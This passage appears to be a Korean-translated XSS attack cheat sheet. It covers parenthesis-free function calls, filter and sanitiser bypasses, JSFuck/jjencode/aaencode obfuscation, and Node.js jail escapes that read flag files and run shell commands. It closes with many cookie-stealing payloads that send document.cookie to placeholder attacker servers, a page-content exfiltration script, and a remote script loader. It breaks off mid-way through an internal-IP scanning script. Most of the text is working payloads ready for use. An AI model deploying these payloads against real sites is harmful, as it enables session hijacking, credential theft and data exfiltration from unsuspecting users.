// Using Reflect.set to call set any value to a variable
Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third.
// valueOf, toString
// These operations are called when the object is used as a primitive
// Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used
valueOf=alert;window+''
toString=alert;window+''
// Error handler
window.onerror=eval;throw"=alert\x281\x29";
onerror=eval;throw"=alert\x281\x29";
<img src=x onerror="window.onerror=eval;throw'=alert\x281\x29'">
{onerror=eval}throw"=alert(1)" //No ";"
onerror=alert //No ";" using new line
throw 1337
// Error handler + Special unicode separators
eval("onerror=\u2028alert\u2029throw 1337");
// Error handler + Comma separator
// The comma separator goes through the list and returns only the last element
var a = (1,2,3,4,5,6) // a = 6
throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert
throw onerror=alert,1,1,1,1,1,1337
// optional exception variables inside a catch clause.
try{throw onerror=alert}catch{throw 1}
// Has instance symbol
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.
- https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md
- https://portswigger.net/research/javascript-without-parentheses-using-dommatrix
임의 함수 (alert) 호출
//Eval like functions
eval('ale'+'rt(1)')
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Function('ale'+'rt(10)')``;
[].constructor.constructor("alert(document.domain)")``
[]["constructor"]["constructor"]`$${alert()}```
import('data:text/javascript,alert(1)')
//General function executions
`` //Can be use as parenthesis
alert`document.cookie`
alert(document['cookie'])
with(document)alert(cookie)
(alert)(1)
(alert(1))in"."
a=alert,a(1)
[1].find(alert)
window['alert'](0)
parent['alert'](1)
self['alert'](2)
top['alert'](3)
this['alert'](4)
frames['alert'](5)
content['alert'](6)
[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
[11].findIndex(alert)
[12].forEach(alert);
top[/al/.source+/ert/.source](1)
top[8680439..toString(30)](1)
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
$='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y)
x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y))
this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array)
globalThis[`al`+/ert/.source]`1`
this[`al`+/ert/.source]`1`
[alert][0].call(this,1)
window['a'+'l'+'e'+'r'+'t']()
window['a'+'l'+'e'+'r'+'t'].call(this,1)
top['a'+'l'+'e'+'r'+'t'].apply(this,[1])
(1,2,3,4,5,6,7,8,alert)(1)
x=alert,x(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
al\u0065rt`1`
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)
<svg><animate onbegin=alert() attributeName=x></svg>
DOM vulnerabilities
공격자가 제어하는 데이터(예: location.href)를 안전하지 않게 사용하는 JS 코드가 있습니다. 공격자는 이를 악용해 임의의 JS 코드를 실행할 수 있습니다.
Due to the extension of the explanation of DOM vulnerabilities it was moved to this page:
해당 페이지에서 DOM vulnerabilities가 무엇인지, 어떻게 발생하며, 어떻게 악용되는지에 대한 자세한 설명을 찾을 수 있습니다.
또한, 앞서 언급한 게시물의 맨 끝에서 DOM Clobbering attacks에 대한 설명도 확인하세요.
Upgrading Self-XSS
Cookie XSS
쿠키 안에 payload를 넣어 XSS를 발생시킬 수 있다면, 이는 보통 self-XSS입니다. 그러나 vulnerable subdomain to XSS를 찾으면, 해당 XSS를 이용해 도메인 전체에 쿠키를 주입하여 메인 도메인이나 다른 서브도메인(쿠키 XSS에 취약한 서브도메인)에서 cookie XSS를 트리거할 수 있습니다. 이를 위해 cookie tossing attack을 사용할 수 있습니다:
이 기법의 훌륭한 악용 사례는 this blog post에서 확인할 수 있습니다.
Sending your session to the admin
사용자가 자신의 프로필을 관리자와 공유할 수 있고, self XSS가 그 프로필에 포함되어 있으며 관리자가 이를 열람하면, 취약점이 트리거됩니다.
Session Mirroring
self XSS를 발견했고 웹페이지가 session mirroring for administrators를 제공한다면(예: 고객이 도움을 요청하면 관리자가 자신의 세션이 아닌 당신의 세션에서 보이는 내용을 볼 수 있는 경우), 관리자가 당신의 self XSS를 트리거하도록 유도해 그의 쿠키/세션을 탈취할 수 있습니다.
Other Bypasses
Bypassing sanitization via WASM linear-memory template overwrite
웹 애플리케이션이 Emscripten/WASM을 사용할 때, 상수 문자열(예: HTML format stubs)은 쓰기 가능한 linear memory에 존재합니다. 단 한 번의 in‑WASM overflow(예: 편집 경로의 unchecked memcpy)가 인접 구조체를 손상시키고 해당 상수로의 쓰기를 재지정할 수 있습니다. ““로 덮어쓰면, 정화된 입력이 JavaScript handler 값이 되어 렌더 시 즉시 DOM XSS를 발생시킵니다.
전용 페이지에서 exploitation workflow, DevTools memory helpers, 및 defenses를 확인하세요:
Wasm Linear Memory Template Overwrite Xss
Normalised Unicode
서버(또는 클라이언트 측)에서 reflected values가 unicode normalized되는지 확인하고 이 기능을 악용해 보호를 우회할 수 있습니다. Find an example here.
PHP FILTER_VALIDATE_EMAIL flag Bypass
"><svg/onload=confirm(1)>"@x.y
Ruby-On-Rails bypass
RoR mass assignment 때문에 HTML에 따옴표가 삽입되어 따옴표 제한이 우회되고 태그 내부에 추가 필드(onfocus)를 넣을 수 있습니다.
Form 예시 (from this report), payload를 전송하면:
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
쌍 “Key”,“Value“는 다음과 같이 반환됩니다:
{" onfocus=javascript:alert('xss') autofocus a"=>"a"}
그러면 onfocus 속성이 삽입되어 XSS가 발생합니다.
Special combinations
<iframe/src="data:text/html,<svg onload=alert(1)>">
<input type=image src onerror="prompt(1)">
<svg onload=alert(1)//
<img src="/" =_=" title="onerror='prompt(1)'">
<img src='1' onerror='alert(0)' <
<script x> alert(1) </script 1=2
<script x>alert('XSS')<script y>
<svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//
<svg////////onload=alert(1)>
<svg id=x;onload=alert(1)>
<svg id=`x`onload=alert(1)>
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
<script>$=1,alert($)</script>
<script ~~~>confirm(1)</script ~~~>
<script>$=1,\u0061lert($)</script>
<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
</style></scRipt><scRipt>alert(1)</scRipt>
<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
<svg><x><script>alert('1')</x>
<iframe src=""/srcdoc='<svg onload=alert(1)>'>
<svg><animate onbegin=alert() attributeName=x></svg>
<img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)>
<img src=1 onerror="s=document.createElement('script');s.src='http://xss.rocks/xss.js';document.body.appendChild(s);">
(function(x){this[x+`ert`](1)})`al`
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3)
XSS with header injection in a 302 response
만약 당신이 inject headers in a 302 Redirect response 할 수 있다면, make the browser execute arbitrary JavaScript 를 시도해 볼 수 있습니다. 이것은 not trivial 한 작업입니다. 현대 브라우저는 HTTP 응답 상태 코드가 302인 경우 HTTP 응답 본문을 해석하지 않기 때문에 단순한 cross-site scripting 페이로드는 쓸모가 없습니다.
In this report and this one you can read how you can test several protocols inside the Location header and see if any of them allows the browser to inspect and execute the XSS payload inside the body.
Past known protocols: mailto://, //x:1/, ws://, wss://, empty Location header, resource://.
Only Letters, Numbers and Dots
만약 당신이 해당 문자들로만 제한된 callback 을 javascript가 execute 하도록 지정할 수 있다면, 이 글의 해당 섹션 을 읽어 이 동작을 악용하는 방법을 확인하세요.
Valid <script> Content-Types to XSS
(From here) If you try to load a script with a content-type such as application/octet-stream, Chrome will throw following error:
Refused to execute script from ‘https://uploader.c.hc.lc/uploads/xxx’ because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.
The only Content-Types that will support Chrome to run a loaded script are the ones inside the const kSupportedJavascriptTypes from https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc
const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
"application/javascript",
"application/x-ecmascript",
"application/x-javascript",
"text/ecmascript",
"text/javascript",
"text/javascript1.0",
"text/javascript1.1",
"text/javascript1.2",
"text/javascript1.3",
"text/javascript1.4",
"text/javascript1.5",
"text/jscript",
"text/livescript",
"text/x-ecmascript",
"text/x-javascript",
};
XSS에 사용되는 스크립트 타입
(From here) 그럼 어떤 타입들이 스크립트를 로드하도록 지정될 수 있을까?
<script type="???"></script>
- module (기본값, 설명할 필요 없음)
- webbundle: Web Bundles는 여러 데이터(HTML, CSS, JS…)를 하나의
.wbn파일로 묶어 패키지할 수 있는 기능입니다.
<script type="webbundle">
{
"source": "https://example.com/dir/subresources.wbn",
"resources": ["https://example.com/dir/a.js", "https://example.com/dir/b.js", "https://example.com/dir/c.png"]
}
</script>
The resources are loaded from the source .wbn, not accessed via HTTP
- importmap: import 구문을 개선할 수 있게 해줍니다.
<script type="importmap">
{
"imports": {
"moment": "/node_modules/moment/src/moment.js",
"lodash": "/node_modules/lodash-es/lodash.js"
}
}
</script>
<!-- With importmap you can do the following -->
<script>
import moment from "moment"
import { partition } from "lodash"
</script>
이 동작은 this writeup에서 라이브러리를 eval로 리맵하여 악용하면 XSS를 유발할 수 있음을 보여주기 위해 사용되었습니다.
- speculationrules: 이 기능은 주로 사전 렌더링(pre-rendering)으로 인해 발생하는 몇 가지 문제를 해결하기 위해 도입되었습니다. 동작 방식은 다음과 같습니다:
<script type="speculationrules">
{
"prerender": [
{ "source": "list", "urls": ["/page/2"], "score": 0.5 },
{
"source": "document",
"if_href_matches": ["https://*.wikipedia.org/**"],
"if_not_selector_matches": [".restricted-section *"],
"score": 0.1
}
]
}
</script>
XSS를 유발하는 Web Content-Types
(출처: here) 다음 content types는 모든 브라우저에서 XSS를 실행할 수 있습니다:
- text/html
- application/xhtml+xml
- application/xml
- text/xml
- image/svg+xml
- text/plain (?? 목록에는 없지만 CTF에서 본 것 같습니다)
- application/rss+xml (off)
- application/atom+xml (off)
다른 브라우저에서는 다른 **Content-Types**가 임의의 JS를 실행하는 데 사용될 수 있습니다. 확인: https://github.com/BlackFan/content-type-research/blob/master/XSS.md
xml 콘텐츠 타입
페이지가 text/xml content-type을 반환하면 네임스페이스를 지정하여 임의의 JS를 실행할 수 있습니다:
<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
</xml>
<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->
특수 치환 패턴
예를 들어 "some {{template}} data".replace("{{template}}", <user_input>) 같은 방식이 사용될 때, 공격자는 일부 방어를 우회하기 위해 특수 문자열 치환을 사용할 수 있다: "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))
예를 들어 this writeup에서는, 이것이 스크립트 내부의 JSON 문자열을 이스케이프하여 임의의 코드를 실행하는 데 사용되었다.
Chrome Cache to XSS
XS Jails Escape
사용할 수 있는 문자 집합이 제한되어 있다면, XSJail 문제에 대한 다른 유효한 해결책들을 확인해보세요:
// eval + unescape + regex
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/))
// use of with
with(console)log(123)
with(/console.log(1)/index.html)with(this)with(constructor)constructor(source)()
// Just replace console.log(1) to the real code, the code we want to run is:
//return String(process.mainModule.require('fs').readFileSync('flag.txt'))
with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt')))
with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n)))
with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))
//Final solution
with(
/with(String)
with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)
with(mainModule)
with(require(k))
return(String(readFileSync(n)))
/)
with(this)
with(constructor)
constructor(source)()
// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
만약 신뢰할 수 없는 코드를 실행하기 전에 everything is undefined 상태라면 (예: this writeup) 임의의 신뢰할 수 없는 코드 실행을 악용하기 위해 “무(無)에서” 유용한 객체를 생성하는 것이 가능합니다:
- import()를 사용
// although import "fs" doesn’t work, import('fs') does.
import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
require에 간접적으로 접근하기
According to this 모듈은 Node.js에 의해 함수로 래핑되어 있으며, 예시는 다음과 같습니다:
;(function (exports, require, module, __filename, __dirname) {
// our actual module code
})
따라서, 그 모듈에서 다른 함수를 호출할 수 있다면, 해당 함수에서 arguments.callee.caller.arguments[1]를 사용해 **require**에 접근할 수 있습니다:
;(function () {
return arguments.callee.caller.arguments[1]("fs").readFileSync(
"/flag.txt",
"utf8"
)
})()
이전 예제와 유사한 방식으로, use error handlers를 이용해 모듈의 wrapper에 접근하여 require 함수를 얻을 수 있습니다:
try {
null.f()
} catch (e) {
TypeError = e.constructor
}
Object = {}.constructor
String = "".constructor
Error = TypeError.prototype.__proto__.constructor
function CustomError() {
const oldStackTrace = Error.prepareStackTrace
try {
Error.prepareStackTrace = (err, structuredStackTrace) =>
structuredStackTrace
Error.captureStackTrace(this)
this.stack
} finally {
Error.prepareStackTrace = oldStackTrace
}
}
function trigger() {
const err = new CustomError()
console.log(err.stack[0])
for (const x of err.stack) {
// use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter
const fn = x.getFunction()
console.log(String(fn).slice(0, 200))
console.log(fn?.arguments)
console.log("=".repeat(40))
if ((args = fn?.arguments)?.length > 0) {
req = args[1]
console.log(req("child_process").execSync("id").toString())
}
}
}
trigger()
Obfuscation & Advanced Bypass
- 한 페이지에 있는 다양한 obfuscations: https://aem1k.com/aurebesh.js/
- https://github.com/aemkei/katakana.js
- https://javascriptobfuscator.herokuapp.com/
- https://skalman.github.io/UglifyJS-online/
- http://www.jsfuck.com/
- 더 정교한 JSFuck: https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce
- http://utf-8.jp/public/jjencode.html
- https://utf-8.jp/public/aaencode.html
- https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses
//Katana
<script>
([,ウ,,,,ア]=[]+{}
,[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()
</script>
//JJencode
<script>$=~[];$={___:++$,$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$:({}+"")[$],$_$:($[$]+"")[$],_$:++$,$_:(!""+"")[$],$__:++$,$_$:++$,$__:({}+"")[$],$_:++$,$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$=($.$+"")[$.__$])+((!$)+"")[$._$]+($.__=$.$_[$.$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$=$.$+(!""+"")[$._$]+$.__+$._+$.$+$.$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$+"\""+$.$_$_+(![]+"")[$._$_]+$.$_+"\\"+$.__$+$.$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
//JSFuck
<script>
(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()
</script>
//aaencode
゚ω゚ノ = /`m´)ノ ~┻━┻ / /*´∇`*/["_"]
o = ゚ー゚ = _ = 3
c = ゚Θ゚ = ゚ー゚ - ゚ー゚
゚Д゚ = ゚Θ゚ = (o ^ _ ^ o) / (o ^ _ ^ o)
゚Д゚ = {
゚Θ゚: "_",
゚ω゚ノ: ((゚ω゚ノ == 3) + "_")[゚Θ゚],
゚ー゚ノ: (゚ω゚ノ + "_")[o ^ _ ^ (o - ゚Θ゚)],
゚Д゚ノ: ((゚ー゚ == 3) + "_")[゚ー゚],
}
゚Д゚[゚Θ゚] = ((゚ω゚ノ == 3) + "_")[c ^ _ ^ o]
゚Д゚["c"] = (゚Д゚ + "_")[゚ー゚ + ゚ー゚ - ゚Θ゚]
゚Д゚["o"] = (゚Д゚ + "_")[゚Θ゚]
゚o゚ =
゚Д゚["c"] +
゚Д゚["o"] +
(゚ω゚ノ + "_")[゚Θ゚] +
((゚ω゚ノ == 3) + "_")[゚ー゚] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
((゚ー゚ == 3) + "_")[゚ー゚ - ゚Θ゚] +
゚Д゚["c"] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
゚Д゚["o"] +
((゚ー゚ == 3) + "_")[゚Θ゚]
゚Д゚["_"] = (o ^ _ ^ o)[゚o゚][゚o゚]
゚ε゚ =
((゚ー゚ == 3) + "_")[゚Θ゚] +
゚Д゚.゚Д゚ノ +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[o ^ _ ^ (o - ゚Θ゚)] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
(゚ω゚ノ + "_")[゚Θ゚]
゚ー゚ += ゚Θ゚
゚Д゚[゚ε゚] = "\\"
゚Д゚.゚Θ゚ノ = (゚Д゚ + ゚ー゚)[o ^ _ ^ (o - ゚Θ゚)]
o゚ー゚o = (゚ω゚ノ + "_")[c ^ _ ^ o]
゚Д゚[゚o゚] = '"'
゚Д゚["_"](
゚Д゚["_"](
゚ε゚ +
゚Д゚[゚o゚] +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
(゚ー゚ + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚o゚]
)(゚Θ゚)
)("_")
// It's also possible to execute JS code only with the chars: []`+!${}
XSS 일반 payloads
여러 payloads를 하나로
Iframe Trap
사용자가 iframe을 벗어나지 않고 페이지 내에서 이동하도록 유도하여, 그의 행동(폼으로 전송된 정보 포함)을 탈취합니다:
Cookies 가져오기
<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
<script>new Image().src="http://<IP>/?c="+encodeURI(document.cookie);</script>
<script>new Audio().src="http://<IP>/?c="+escape(document.cookie);</script>
<script>location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.write('<img src="http://<YOUR_SERVER_IP>?c='+document.cookie+'" />')</script>
<script>window.location.assign('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['assign']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['href']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>document.location=["http://<YOUR_SERVER_IP>?c",document.cookie].join()</script>
<script>var i=new Image();i.src="http://<YOUR_SERVER_IP>/?c="+document.cookie</script>
<script>window.location="https://<SERVER_IP>/?c=".concat(document.cookie)</script>
<script>var xhttp=new XMLHttpRequest();xhttp.open("GET", "http://<SERVER_IP>/?c="%2Bdocument.cookie, true);xhttp.send();</script>
<script>eval(atob('ZG9jdW1lbnQud3JpdGUoIjxpbWcgc3JjPSdodHRwczovLzxTRVJWRVJfSVA+P2M9IisgZG9jdW1lbnQuY29va2llICsiJyAvPiIp'));</script>
<script>fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body:document.cookie});</script>
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
Tip
쿠키에 HTTPOnly 플래그가 설정되어 있으면 JavaScript에서 쿠키에 접근할 수 없습니다. 하지만 운이 좋다면 이 보호를 우회할 수 있는 몇 가지 방법이 있습니다.
페이지 내용 탈취
var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"
var attacker = "http://10.10.14.8/exfil"
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
}
}
xhr.open("GET", url, true)
xhr.send(null)
내부 IP 찾기
<script>
var q = []
var collaboratorURL =
"http://5ntrut4mpce548i2yppn9jk1fsli97.burpcollaborator.net"
var wait = 2000
var n_threads = 51
